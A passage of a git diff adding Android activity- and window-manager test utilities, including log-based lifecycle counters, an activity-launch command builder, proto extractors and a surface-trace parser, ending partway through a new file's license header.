+ if (lifecycleCounts.mResumeCount != resumeCount) {
+ return activityName + " resumed " + lifecycleCounts.mResumeCount + " times.";
+ }
+ if (lifecycleCounts.mPauseCount != pauseCount) {
+ return activityName + " paused " + lifecycleCounts.mPauseCount + " times.";
+ }
+ if (lifecycleCounts.mStopCount != stopCount) {
+ return activityName + " stopped " + lifecycleCounts.mStopCount + " times.";
+ }
+ if (lifecycleCounts.mDestroyCount != destroyCount) {
+ return activityName + " destroyed " + lifecycleCounts.mDestroyCount + " times.";
+ }
+ return null;
+ }
+
+ // TODO: Now that our test are device side, we can convert these to a more direct communication
+ // channel vs. depending on logs.
+ private static final Pattern sCreatePattern = Pattern.compile("(.+): onCreate");
+ private static final Pattern sStartPattern = Pattern.compile("(.+): onStart");
+ private static final Pattern sResumePattern = Pattern.compile("(.+): onResume");
+ private static final Pattern sPausePattern = Pattern.compile("(.+): onPause");
+ private static final Pattern sConfigurationChangedPattern =
+ Pattern.compile("(.+): onConfigurationChanged");
+ private static final Pattern sMovedToDisplayPattern =
+ Pattern.compile("(.+): onMovedToDisplay");
+ private static final Pattern sStopPattern = Pattern.compile("(.+): onStop");
+ private static final Pattern sDestroyPattern = Pattern.compile("(.+): onDestroy");
+ private static final Pattern sMultiWindowModeChangedPattern =
+ Pattern.compile("(.+): onMultiWindowModeChanged");
+ private static final Pattern sPictureInPictureModeChangedPattern =
+ Pattern.compile("(.+): onPictureInPictureModeChanged");
+ private static final Pattern sUserLeaveHintPattern = Pattern.compile("(.+): onUserLeaveHint");
+ private static final Pattern sNewConfigPattern = Pattern.compile(
+ "(.+): config size=\\((\\d+),(\\d+)\\) displaySize=\\((\\d+),(\\d+)\\)"
+ + " metricsSize=\\((\\d+),(\\d+)\\) smallestScreenWidth=(\\d+) densityDpi=(\\d+)"
+ + " orientation=(\\d+)");
+ private static final Pattern sDisplayStatePattern =
+ Pattern.compile("Display Power: state=(.+)");
+ private static final Pattern sCurrentUiModePattern = Pattern.compile("mCurUiMode=0x(\\d+)");
+ private static final Pattern sUiModeLockedPattern =
+ Pattern.compile("mUiModeLocked=(true|false)");
+
+ class ReportedSizes {
+ int widthDp;
+ int heightDp;
+ int displayWidth;
+ int displayHeight;
+ int metricsWidth;
+ int metricsHeight;
+ int smallestWidthDp;
+ int densityDpi;
+ int orientation;
+
+ @Override
+ public String toString() {
+ return "ReportedSizes: {widthDp=" + widthDp + " heightDp=" + heightDp
+ + " displayWidth=" + displayWidth + " displayHeight=" + displayHeight
+ + " metricsWidth=" + metricsWidth + " metricsHeight=" + metricsHeight
+ + " smallestWidthDp=" + smallestWidthDp + " densityDpi=" + densityDpi
+ + " orientation=" + orientation + "}";
+ }
+
+ @Override
+ public boolean equals(Object obj) {
+ if ( this == obj ) return true;
+ if ( !(obj instanceof ReportedSizes) ) return false;
+ ReportedSizes that = (ReportedSizes) obj;
+ return widthDp == that.widthDp
+ && heightDp == that.heightDp
+ && displayWidth == that.displayWidth
+ && displayHeight == that.displayHeight
+ && metricsWidth == that.metricsWidth
+ && metricsHeight == that.metricsHeight
+ && smallestWidthDp == that.smallestWidthDp
+ && densityDpi == that.densityDpi
+ && orientation == that.orientation;
+ }
+ }
+
+ ReportedSizes getLastReportedSizesForActivity(String activityName, String logSeparator) {
+ int retriesLeft = 5;
+ ReportedSizes result;
+ do {
+ result = readLastReportedSizes(activityName, logSeparator);
+ if (result == null) {
+ log("***Waiting for sizes to be reported...");
+ try {
+ Thread.sleep(1000);
+ } catch (InterruptedException e) {
+ log(e.toString());
+ // Well I guess we are not waiting...
+ }
+ } else {
+ break;
+ }
+ } while (retriesLeft-- > 0);
+ return result;
+ }
+
+ private ReportedSizes readLastReportedSizes(String activityName, String logSeparator) {
+ final String[] lines = getDeviceLogsForComponent(activityName, logSeparator);
+ for (int i = lines.length - 1; i >= 0; i--) {
+ final String line = lines[i].trim();
+ final Matcher matcher = sNewConfigPattern.matcher(line);
+ if (matcher.matches()) {
+ ReportedSizes details = new ReportedSizes();
+ details.widthDp = Integer.parseInt(matcher.group(2));
+ details.heightDp = Integer.parseInt(matcher.group(3));
+ details.displayWidth = Integer.parseInt(matcher.group(4));
+ details.displayHeight = Integer.parseInt(matcher.group(5));
+ details.metricsWidth = Integer.parseInt(matcher.group(6));
+ details.metricsHeight = Integer.parseInt(matcher.group(7));
+ details.smallestWidthDp = Integer.parseInt(matcher.group(8));
+ details.densityDpi = Integer.parseInt(matcher.group(9));
+ details.orientation = Integer.parseInt(matcher.group(10));
+ return details;
+ }
+ }
+ return null;
+ }
+
+ /** Waits for at least one onMultiWindowModeChanged event. */
+ ActivityLifecycleCounts waitForOnMultiWindowModeChanged(
+ String activityName, String logSeparator) {
+ int retriesLeft = 5;
+ ActivityLifecycleCounts result;
+ do {
+ result = new ActivityLifecycleCounts(activityName, logSeparator);
+ if (result.mMultiWindowModeChangedCount < 1) {
+ log("***waitForOnMultiWindowModeChanged...");
+ try {
+ Thread.sleep(1000);
+ } catch (InterruptedException e) {
+ log(e.toString());
+ // Well I guess we are not waiting...
+ }
+ } else {
+ break;
+ }
+ } while (retriesLeft-- > 0);
+ return result;
+
+ }
+
+ // TODO: Now that our test are device side, we can convert these to a more direct communication
+ // channel vs. depending on logs.
+ class ActivityLifecycleCounts {
+ int mCreateCount;
+ int mStartCount;
+ int mResumeCount;
+ int mConfigurationChangedCount;
+ int mLastConfigurationChangedLineIndex;
+ int mMovedToDisplayCount;
+ int mMultiWindowModeChangedCount;
+ int mLastMultiWindowModeChangedLineIndex;
+ int mPictureInPictureModeChangedCount;
+ int mLastPictureInPictureModeChangedLineIndex;
+ int mUserLeaveHintCount;
+ int mPauseCount;
+ int mStopCount;
+ int mLastStopLineIndex;
+ int mDestroyCount;
+
+ ActivityLifecycleCounts(String activityName, String logSeparator) {
+ int lineIndex = 0;
+ waitForIdle();
+ for (String line : getDeviceLogsForComponent(activityName, logSeparator)) {
+ line = line.trim();
+ lineIndex++;
+
+ Matcher matcher = sCreatePattern.matcher(line);
+ if (matcher.matches()) {
+ mCreateCount++;
+ continue;
+ }
+
+ matcher = sStartPattern.matcher(line);
+ if (matcher.matches()) {
+ mStartCount++;
+ continue;
+ }
+
+ matcher = sResumePattern.matcher(line);
+ if (matcher.matches()) {
+ mResumeCount++;
+ continue;
+ }
+
+ matcher = sConfigurationChangedPattern.matcher(line);
+ if (matcher.matches()) {
+ mConfigurationChangedCount++;
+ mLastConfigurationChangedLineIndex = lineIndex;
+ continue;
+ }
+
+ matcher = sMovedToDisplayPattern.matcher(line);
+ if (matcher.matches()) {
+ mMovedToDisplayCount++;
+ continue;
+ }
+
+ matcher = sMultiWindowModeChangedPattern.matcher(line);
+ if (matcher.matches()) {
+ mMultiWindowModeChangedCount++;
+ mLastMultiWindowModeChangedLineIndex = lineIndex;
+ continue;
+ }
+
+ matcher = sPictureInPictureModeChangedPattern.matcher(line);
+ if (matcher.matches()) {
+ mPictureInPictureModeChangedCount++;
+ mLastPictureInPictureModeChangedLineIndex = lineIndex;
+ continue;
+ }
+
+ matcher = sUserLeaveHintPattern.matcher(line);
+ if (matcher.matches()) {
+ mUserLeaveHintCount++;
+ continue;
+ }
+
+ matcher = sPausePattern.matcher(line);
+ if (matcher.matches()) {
+ mPauseCount++;
+ continue;
+ }
+
+ matcher = sStopPattern.matcher(line);
+ if (matcher.matches()) {
+ mStopCount++;
+ mLastStopLineIndex = lineIndex;
+ continue;
+ }
+
+ matcher = sDestroyPattern.matcher(line);
+ if (matcher.matches()) {
+ mDestroyCount++;
+ continue;
+ }
+ }
+ }
+ }
+
+ protected void stopTestCase() throws Exception {
+ executeShellCommand("am force-stop " + componentName);
+ }
+
+ protected LaunchActivityBuilder getLaunchActivityBuilder() {
+ return new LaunchActivityBuilder(mAmWmState);
+ }
+
+ protected static class LaunchActivityBuilder {
+ private final ActivityAndWindowManagersState mAmWmState;
+
+ // The activity to be launched
+ private String mTargetActivityName = "TestActivity";
+ private String mTargetPackage = componentName;
+ private boolean mToSide;
+ private boolean mRandomData;
+ private boolean mNewTask;
+ private boolean mMultipleTask;
+ private int mDisplayId = INVALID_DISPLAY_ID;
+ // A proxy activity that launches other activities including mTargetActivityName
+ private String mLaunchingActivityName = LAUNCHING_ACTIVITY;
+ private boolean mReorderToFront;
+ private boolean mWaitForLaunched;
+ // Use of the following variables indicates that a broadcast receiver should be used instead
+ // of a launching activity;
+ private String mBroadcastReceiverComponent;
+ private String mBroadcastReceiverAction;
+
+ public LaunchActivityBuilder(ActivityAndWindowManagersState amWmState) {
+ mAmWmState = amWmState;
+ mWaitForLaunched = true;
+ }
+
+ public LaunchActivityBuilder setToSide(boolean toSide) {
+ mToSide = toSide;
+ return this;
+ }
+
+ public LaunchActivityBuilder setRandomData(boolean randomData) {
+ mRandomData = randomData;
+ return this;
+ }
+
+ public LaunchActivityBuilder setNewTask(boolean newTask) {
+ mNewTask = newTask;
+ return this;
+ }
+
+ public LaunchActivityBuilder setMultipleTask(boolean multipleTask) {
+ mMultipleTask = multipleTask;
+ return this;
+ }
+
+ public LaunchActivityBuilder setReorderToFront(boolean reorderToFront) {
+ mReorderToFront = reorderToFront;
+ return this;
+ }
+
+ public LaunchActivityBuilder setTargetActivityName(String name) {
+ mTargetActivityName = name;
+ return this;
+ }
+
+ public LaunchActivityBuilder setTargetPackage(String pkg) {
+ mTargetPackage = pkg;
+ return this;
+ }
+
+ public LaunchActivityBuilder setDisplayId(int id) {
+ mDisplayId = id;
+ return this;
+ }
+
+ public LaunchActivityBuilder setLaunchingActivityName(String name) {
+ mLaunchingActivityName = name;
+ return this;
+ }
+
+ public LaunchActivityBuilder setWaitForLaunched(boolean shouldWait) {
+ mWaitForLaunched = shouldWait;
+ return this;
+ }
+
+ /** Use broadcast receiver instead of launching activity. */
+ public LaunchActivityBuilder setUseBroadcastReceiver(String componentName,
+ String broadcastAction) {
+ mBroadcastReceiverComponent = componentName;
+ mBroadcastReceiverAction = broadcastAction;
+ return this;
+ }
+
+ public void execute() throws Exception {
+ StringBuilder commandBuilder = new StringBuilder();
+ if (mBroadcastReceiverComponent != null && mBroadcastReceiverAction != null) {
+ // Use broadcast receiver to launch the target.
+ commandBuilder.append("am broadcast -a ").append(mBroadcastReceiverAction);
+ commandBuilder.append(" -p ").append(mBroadcastReceiverComponent);
+ } else {
+ // Use launching activity to launch the target.
+ commandBuilder.append(getAmStartCmd(mLaunchingActivityName));
+ commandBuilder.append(" -f 0x20000000");
+ }
+
+ // Add a flag to ensure we actually mean to launch an activity.
+ commandBuilder.append(" --ez launch_activity true");
+
+ if (mToSide) {
+ commandBuilder.append(" --ez launch_to_the_side true");
+ }
+ if (mRandomData) {
+ commandBuilder.append(" --ez random_data true");
+ }
+ if (mNewTask) {
+ commandBuilder.append(" --ez new_task true");
+ }
+ if (mMultipleTask) {
+ commandBuilder.append(" --ez multiple_task true");
+ }
+ if (mReorderToFront) {
+ commandBuilder.append(" --ez reorder_to_front true");
+ }
+ if (mTargetActivityName != null) {
+ commandBuilder.append(" --es target_activity ").append(mTargetActivityName);
+ commandBuilder.append(" --es package_name ").append(mTargetPackage);
+ }
+ if (mDisplayId != INVALID_DISPLAY_ID) {
+ commandBuilder.append(" --ei display_id ").append(mDisplayId);
+ }
+ executeShellCommand(commandBuilder.toString());
+
+ if (mWaitForLaunched) {
+ mAmWmState.waitForValidState(false /* compareTaskAndStackBounds */, mTargetPackage,
+ new WaitForValidActivityState.Builder(mTargetActivityName).build());
+ }
+ }
+ }
+
+ protected void tearDownLockCredentials() throws Exception {
+ if (!mLockCredentialsSet) {
+ return;
+ }
+
+ removeLockCredential();
+ // Dismiss active keyguard after credential is cleared, so
+ // keyguard doesn't ask for the stale credential.
+ pressBackButton();
+ sleepDevice();
+ wakeUpAndUnlockDevice();
+ }
+}
diff --git a/tests/framework/base/activitymanager/util/src/android/server/am/ProtoExtractors.java b/tests/framework/base/activitymanager/util/src/android/server/am/ProtoExtractors.java
new file mode 100644
index 0000000..060fc60
--- /dev/null
+++ b/tests/framework/base/activitymanager/util/src/android/server/am/ProtoExtractors.java
@@ -0,0 +1,67 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import android.app.WindowConfiguration;
+import android.app.nano.WindowConfigurationProto;
+import android.content.nano.ConfigurationProto;
+import android.content.res.Configuration;
+import android.graphics.Rect;
+import android.graphics.nano.RectProto;
+
+/**
+ * Utility class for extracting some common framework object from nano proto objects.
+ * Normally the extractors will be in the framework object class, but we don't want the framework to
+ * depend on nano proto due to size cost.
+ * TODO: This class should probably be in frameworks/base/lib project so it can be used
+ * outside of CTS.
+ */
+public class ProtoExtractors {
+ public static Configuration extract(ConfigurationProto proto) {
+ final Configuration config = new Configuration();
+ if (proto == null) {
+ return config;
+ }
+ config.windowConfiguration.setTo(extract(proto.windowConfiguration));
+ config.densityDpi = proto.densityDpi;
+ config.orientation = proto.orientation;
+ config.screenHeightDp = proto.screenHeightDp;
+ config.screenWidthDp = proto.screenWidthDp;
+ config.smallestScreenWidthDp = proto.smallestScreenWidthDp;
+ config.screenLayout = proto.screenLayout;
+ config.uiMode = proto.uiMode;
+ return config;
+ }
+
+ public static WindowConfiguration extract(WindowConfigurationProto proto) {
+ final WindowConfiguration config = new WindowConfiguration();
+ if (proto == null) {
+ return config;
+ }
+ config.setAppBounds(extract(proto.appBounds));
+ config.setWindowingMode(proto.windowingMode);
+ config.setActivityType(proto.activityType);
+ return config;
+ }
+
+ public static Rect extract(RectProto proto) {
+ if (proto == null) {
+ return null;
+ }
+ return new Rect(proto.left, proto.top, proto.right, proto.bottom);
+ }
+}
diff --git a/tests/framework/base/activitymanager/util/src/android/server/am/StateLogger.java b/tests/framework/base/activitymanager/util/src/android/server/am/StateLogger.java
new file mode 100644
index 0000000..e3ad3be
--- /dev/null
+++ b/tests/framework/base/activitymanager/util/src/android/server/am/StateLogger.java
@@ -0,0 +1,45 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import android.util.Log;
+
+/**
+ * Util class to perform simple state logging.
+ */
+public class StateLogger {
+
+ private static final boolean DEBUG = false;
+ private static String TAG = "AMWM";
+
+ /**
+ * Simple info-level logging gated by {@link #DEBUG} flag
+ */
+ public static void log(String logText) {
+ if (DEBUG) {
+ Log.i(TAG, logText);
+ }
+ }
+
+ public static void logAlways(String logText) {
+ Log.i(TAG, logText);
+ }
+
+ public static void logE(String logText) {
+ Log.e(TAG, logText);
+ }
+}
diff --git a/tests/framework/base/activitymanager/util/src/android/server/am/SurfaceTraceReceiver.java b/tests/framework/base/activitymanager/util/src/android/server/am/SurfaceTraceReceiver.java
new file mode 100644
index 0000000..4b3953c
--- /dev/null
+++ b/tests/framework/base/activitymanager/util/src/android/server/am/SurfaceTraceReceiver.java
@@ -0,0 +1,363 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import static android.server.am.StateLogger.logE;
+
+import static org.junit.Assert.fail;
+
+import android.graphics.RectF;
+
+import java.io.ByteArrayInputStream;
+import java.io.DataInputStream;
+import java.io.IOException;
+
+// Parses a trace of surface commands from the WM (in real time)
+// and dispenses them via the SurfaceObserver interface.
+//
+// Data enters through addOutput
+public class SurfaceTraceReceiver {
+
+ final SurfaceObserver mObserver;
+
+ private State mState = State.CMD;
+ private String mCurrentWindowName = null;
+ private int mArgPosition = 0;
+ private float[] mTmpFloats = new float[10];
+ private int[] mTmpInts = new int[10];
+ private RectF mTmpRect = new RectF();
+ private byte[] mUnprocessedBytes = new byte[16384];
+ private byte[] mFullData = new byte[32768];
+ private int mUnprocessedBytesLength;
+
+ public interface SurfaceObserver {
+ default void setAlpha(String windowName, float alpha) {}
+ default void setLayer(String windowName, int layer) {}
+ default void setPosition(String windowName, float x, float y) {}
+ default void setSize(String widnowName, int width, int height) {}
+ default void setLayerStack(String windowName, int layerStack) {}
+ default void setMatrix(String windowName, float dsdx, float dtdx, float dsdy, float dtdy) {}
+ default void setCrop(String windowName, RectF crop) {}
+ default void setFinalCrop(String windowName, RectF finalCrop) {}
+ default void hide(String windowName) {}
+ default void show(String windowName) {}
+ default void setGeometryAppliesWithResize(String windowName) {}
+ default void openTransaction() {}
+ default void closeTransaction() {}
+ };
+
+ enum State {
+ CMD,
+ SET_ALPHA,
+ SET_LAYER,
+ SET_POSITION,
+ SET_SIZE,
+ SET_CROP,
+ SET_FINAL_CROP,
+ SET_LAYER_STACK,
+ SET_MATRIX,
+ HIDE,
+ SHOW,
+ GEOMETRY_APPLIES_WITH_RESIZE
+ };
+
+ SurfaceTraceReceiver(SurfaceObserver observer) {
+ mObserver = observer;
+ }
+
+ // Reset state and prepare to accept a new command.
+ void nextCmd(DataInputStream d) {
+ mState = State.CMD;
+ mCurrentWindowName = null;
+ mArgPosition = 0;
+
+ try {
+ // Consume the sigil
+ d.readByte();
+ d.readByte();
+ d.readByte();
+ d.readByte();
+ } catch (Exception e) {
+ logE("Exception consuming sigil: " + e);
+ }
+ }
+
+ // When the command parsing functions below are called, the window name
+ // will already be parsed. The responsibility of these functions
+ // is to parse other arguments 1 by 1 and accumlate them until the appropriate number
+ // is reached. At that point the parser should emit an event to the observer and
+ // call nextCmd
+ void parseAlpha(DataInputStream d) throws IOException {
+ float alpha = d.readFloat();
+ mObserver.setAlpha(mCurrentWindowName, alpha);
+ nextCmd(d);
+ }
+
+ void parseLayer(DataInputStream d) throws IOException {
+ int layer = d.readInt();
+ mObserver.setLayer(mCurrentWindowName, layer);
+ nextCmd(d);
+ }
+
+ void parsePosition(DataInputStream d) throws IOException {
+ mTmpFloats[mArgPosition] = d.readFloat();
+ mArgPosition++;
+ if (mArgPosition == 2) {
+ mObserver.setPosition(mCurrentWindowName, mTmpFloats[0], mTmpFloats[1]);
+ nextCmd(d);
+ }
+ }
+
+ void parseSize(DataInputStream d) throws IOException {
+ mTmpInts[mArgPosition] = d.readInt();
+ mArgPosition++;
+ if (mArgPosition == 2) {
+ mObserver.setSize(mCurrentWindowName, mTmpInts[0], mTmpInts[1]);
+ nextCmd(d);
+ }
+ }
+
+ // Careful Android rectangle rep is top-left-right-bottom awt is top-left-width-height
+ void parseCrop(DataInputStream d) throws IOException {
+ mTmpFloats[mArgPosition] = d.readFloat();
+ mArgPosition++;
+ if (mArgPosition == 4) {
+ mTmpRect.set(mTmpFloats[0], mTmpFloats[1], mTmpFloats[2],
+ mTmpFloats[3]);
+ mObserver.setCrop(mCurrentWindowName, mTmpRect);
+ nextCmd(d);
+ }
+ }
+
+ void parseFinalCrop(DataInputStream d) throws IOException {
+ mTmpFloats[mArgPosition] = d.readInt();
+ mArgPosition++;
+ if (mArgPosition == 4) {
+ mTmpRect.set(mTmpFloats[0], mTmpFloats[1], mTmpFloats[2],
+ mTmpFloats[3]);
+ mObserver.setFinalCrop(mCurrentWindowName, mTmpRect);
+ nextCmd(d);
+ }
+ }
+
+ void parseLayerStack(DataInputStream d) throws IOException {
+ int layerStack = d.readInt();
+ mObserver.setLayerStack(mCurrentWindowName, layerStack);
+ nextCmd(d);
+ }
+
+ void parseSetMatrix(DataInputStream d) throws IOException {
+ mTmpFloats[mArgPosition] = d.readFloat();
+ mArgPosition++;
+ if (mArgPosition == 4) {
+ mObserver.setMatrix(mCurrentWindowName, mTmpFloats[0],
+ mTmpFloats[1], mTmpFloats[2], mTmpFloats[3]);
+ nextCmd(d);
+ }
+ }
+
+ void parseHide(DataInputStream d) throws IOException {
+ mObserver.hide(mCurrentWindowName);
+ nextCmd(d);
+ }
+
+ void parseShow(DataInputStream d) throws IOException {
+ mObserver.show(mCurrentWindowName);
+ nextCmd(d);
+ }
+
+ void parseGeometryAppliesWithResize(DataInputStream d) throws IOException {
+ mObserver.setGeometryAppliesWithResize(mCurrentWindowName);
+ nextCmd(d);
+ }
+
+ public int indexAfterLastSigil(byte[] data, int offset, int length) {
+ int idx = offset + length - 1;
+ int sigilsNeeded = 4;
+ byte sigil = (byte) 0xfc;
+ while (idx > offset) {
+ if (data[idx] == sigil) {
+ sigilsNeeded--;
+ if (sigilsNeeded == 0) {
+ return idx + 4;
+ }
+ } else {
+ sigilsNeeded = 4;
+ }
+ idx--;
+ }
+ return idx; // idx == offset at this point
+ }
+
+ // The tricky bit here is ADB may break up our words, and not send us complete messages,
+ // or even complete integers! To ensure we process the data in appropriate chunks,
+ // We look for a sigil (0xfcfcfcfc) and only process data when it ends in as sigil.
+ // Otherwise we save it and wait to receive a sigil, then process the merged data.
+ public void addOutput(byte[] data, int offset, int length) {
+ byte[] combinedData = data;
+
+ // First we have to merge any unprocessed bytes from the last call in to
+ // a combined array.
+ if (mUnprocessedBytesLength > 0) {
+ System.arraycopy(mUnprocessedBytes, 0, mFullData, 0, mUnprocessedBytesLength);
+ System.arraycopy(data, offset, mFullData, mUnprocessedBytesLength, length);
+ combinedData = mFullData;
+ length = mUnprocessedBytesLength + length;
+ offset = 0;
+ mUnprocessedBytesLength = 0;
+ }
+
+ // Now we find the last sigil in our combined array. Everything before this index is
+ // a properly terminated message ready to be parsed.
+ int completedIndex = indexAfterLastSigil(combinedData, offset, length);
+ // If there are any bytes left after the last sigil, save them for next time.
+ if (completedIndex != length + offset) {
+ mUnprocessedBytesLength = (length + offset) - (completedIndex);
+ System.arraycopy(combinedData, completedIndex,
+ mUnprocessedBytes, 0, mUnprocessedBytesLength);
+ }
+ // If there was no sigil, we have nothing to process yet.
+ if (completedIndex <= offset) {
+ return;
+ }
+ ByteArrayInputStream b = new ByteArrayInputStream(combinedData, offset,
+ completedIndex - offset);
+ DataInputStream d = new DataInputStream(b);
+
+ // We may not receive an entire message at once (for example we may receive
+ // a command without its arguments), so we track our current state, over multiple
+ // addOutput calls. When we are in State.CMD it means we next expect a new command.
+ // If we are not expecting a command, then all commands with arguments, begin with
+ // a window name. Once we have the window name, individual parseAlpha,
+ // parseLayer, etc...statements will parse command arguments one at a time. Once
+ // the appropriate number of arguments is collected the observer will be invoked
+ // and the state reset. For commands which have no arguments (e.g. open/close transaction),
+ // parseCmd can emit the observer event and call nextCmd() right away.
+ try {
+ while (b.available() > 0) {
+ if (mState != State.CMD && mCurrentWindowName == null) {
+ mCurrentWindowName = d.readUTF();
+ if (b.available() == 0) {
+ return;
+ }
+ }
+ switch (mState) {
+ case CMD: {
+ String cmd = d.readUTF();
+ parseCmd(d, cmd);
+ break;
+ }
+ case SET_ALPHA: {
+ parseAlpha(d);
+ break;
+ }
+ case SET_LAYER: {
+ parseLayer(d);
+ break;
+ }
+ case SET_POSITION: {
+ parsePosition(d);
+ break;
+ }
+ case SET_SIZE: {
+ parseSize(d);
+ break;
+ }
+ case SET_CROP: {
+ parseCrop(d);
+ break;
+ }
+ case SET_FINAL_CROP: {
+ parseFinalCrop(d);
+ break;
+ }
+ case SET_LAYER_STACK: {
+ parseLayerStack(d);
+ break;
+ }
+ case SET_MATRIX: {
+ parseSetMatrix(d);
+ break;
+ }
+ case HIDE: {
+ parseHide(d);
+ break;
+ }
+ case SHOW: {
+ parseShow(d);
+ break;
+ }
+ case GEOMETRY_APPLIES_WITH_RESIZE: {
+ parseGeometryAppliesWithResize(d);
+ break;
+ }
+ }
+ }
+ } catch (Exception e) {
+ logE("Error in surface trace receiver: " + e.toString());
+ }
+ }
+
+ void parseCmd(DataInputStream d, String cmd) {
+ switch (cmd) {
+ case "Alpha":
+ mState = State.SET_ALPHA;
+ break;
+ case "Layer":
+ mState = State.SET_LAYER;
+ break;
+ case "Position":
+ mState = State.SET_POSITION;
+ break;
+ case "Size":
+ mState = State.SET_SIZE;
+ break;
+ case "Crop":
+ mState = State.SET_CROP;
+ break;
+ case "FinalCrop":
+ mState = State.SET_FINAL_CROP;
+ break;
+ case "LayerStack":
+ mState = State.SET_LAYER_STACK;
+ break;
+ case "Matrix":
+ mState = State.SET_MATRIX;
+ break;
+ case "Hide":
+ mState = State.HIDE;
+ break;
+ case "Show":
+ mState = State.SHOW;
+ break;
+ case "GeometryAppliesWithResize":
+ mState = State.GEOMETRY_APPLIES_WITH_RESIZE;
+ break;
+ case "OpenTransaction":
+ mObserver.openTransaction();
+ nextCmd(d);
+ break;
+ case "CloseTransaction":
+ mObserver.closeTransaction();
+ nextCmd(d);
+ break;
+ default:
+ fail("Unexpected surface command: " + cmd);
+ break;
+ }
+ }
+}
diff --git a/tests/framework/base/activitymanager/util/src/android/server/am/WaitForValidActivityState.java b/tests/framework/base/activitymanager/util/src/android/server/am/WaitForValidActivityState.java
new file mode 100644
index 0000000..ba5ca49
--- /dev/null
+++ b/tests/framework/base/activitymanager/util/src/android/server/am/WaitForValidActivityState.java
@@ -0,0 +1,112 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import static android.app.ActivityManager.StackId.INVALID_STACK_ID;
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_UNDEFINED;
+import static android.app.WindowConfiguration.WINDOWING_MODE_UNDEFINED;
+
+import android.content.ComponentName;
+
+public class WaitForValidActivityState {
+ public final ComponentName componentName;
+ /** Use {@link #componentName}. */
+ @Deprecated
+ public final String activityName;
+ public final int stackId;
+ public final int windowingMode;
+ public final int activityType;
+
+ public WaitForValidActivityState(final ComponentName activityName) {
+ this.componentName = activityName;
+ this.activityName = activityName.getShortClassName();
+ this.stackId = INVALID_STACK_ID;
+ this.windowingMode = WINDOWING_MODE_UNDEFINED;
+ this.activityType = ACTIVITY_TYPE_UNDEFINED;
+ }
+
+ /** Use {@link #WaitForValidActivityState(ComponentName)}. */
+ @Deprecated
+ public WaitForValidActivityState(String activityName) {
+ this.componentName = null;
+ this.activityName = activityName;
+ this.stackId = INVALID_STACK_ID;
+ this.windowingMode = WINDOWING_MODE_UNDEFINED;
+ this.activityType = ACTIVITY_TYPE_UNDEFINED;
+ }
+
+ private WaitForValidActivityState(final Builder builder) {
+ this.componentName = builder.mComponentName;
+ this.activityName = builder.mActivityName;
+ this.stackId = builder.mStackId;
+ this.windowingMode = builder.mWindowingMode;
+ this.activityType = builder.mActivityType;
+ }
+
+ public static class Builder {
+ private ComponentName mComponentName = null;
+ private String mActivityName = null;
+ private int mStackId = INVALID_STACK_ID;
+ private int mWindowingMode = WINDOWING_MODE_UNDEFINED;
+ private int mActivityType = ACTIVITY_TYPE_UNDEFINED;
+
+ public Builder() {}
+
+ public Builder(final ComponentName activityName) {
+ mComponentName = activityName;
+ mActivityName = activityName.getShortClassName();
+ }
+
+ /** Use {@link #Builder(ComponentName)}. */
+ @Deprecated
+ public Builder(String activityName) {
+ mActivityName = activityName;
+ }
+
+ public Builder setActivityName(final ComponentName activityName) {
+ mComponentName = activityName;
+ mActivityName = activityName.getShortClassName();
+ return this;
+ }
+
+ /** Use {@link #setActivityName(ComponentName)}. */
+ @Deprecated
+ public Builder setActivityName(String activityName) {
+ mActivityName = activityName;
+ return this;
+ }
+
+ public Builder setStackId(int stackId) {
+ mStackId = stackId;
+ return this;
+ }
+
+ public Builder setWindowingMode(int windowingMode) {
+ mWindowingMode = windowingMode;
+ return this;
+ }
+
+ public Builder setActivityType(int activityType) {
+ mActivityType = activityType;
+ return this;
+ }
+
+ public WaitForValidActivityState build() {
+ return new WaitForValidActivityState(this);
+ }
+ }
+}
diff --git a/tests/framework/base/activitymanager/util/src/android/server/am/WindowManagerState.java b/tests/framework/base/activitymanager/util/src/android/server/am/WindowManagerState.java
new file mode 100644
index 0000000..28b0fda
--- /dev/null
+++ b/tests/framework/base/activitymanager/util/src/android/server/am/WindowManagerState.java
@@ -0,0 +1,924 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
